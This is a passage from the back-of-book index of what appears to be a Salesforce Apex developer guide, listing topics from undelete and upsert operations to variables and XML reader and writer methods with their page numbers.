Uncaught exception handling 166 Undelete database method 197 Undelete statement 197 Undelete triggers 73 UndeleteResult object 198 Unit tests for SOSL queries 125 running 126 understanding 123 Unlimited Edition, deploying Apex 360 Update database method 199 Update statement 199 Upsert database method 201 Upsert statement 201 UpsertResult object 203 User managed sharing 151 User-defined methods, Apex 89 UserInfo methods 284

V
Validating sObject and field names 33 Validation, system 73 Variables access modifiers 91 declaring 39 in SOQL and SOSL queries 59 instance 92, 94 local 92 precedence 115 static 92, 93 trigger context 67

X
XML reader methods 345 XML writer methods 349 XMLStreamReader class, methods 345 XmlStreamWriter class, methods 349

423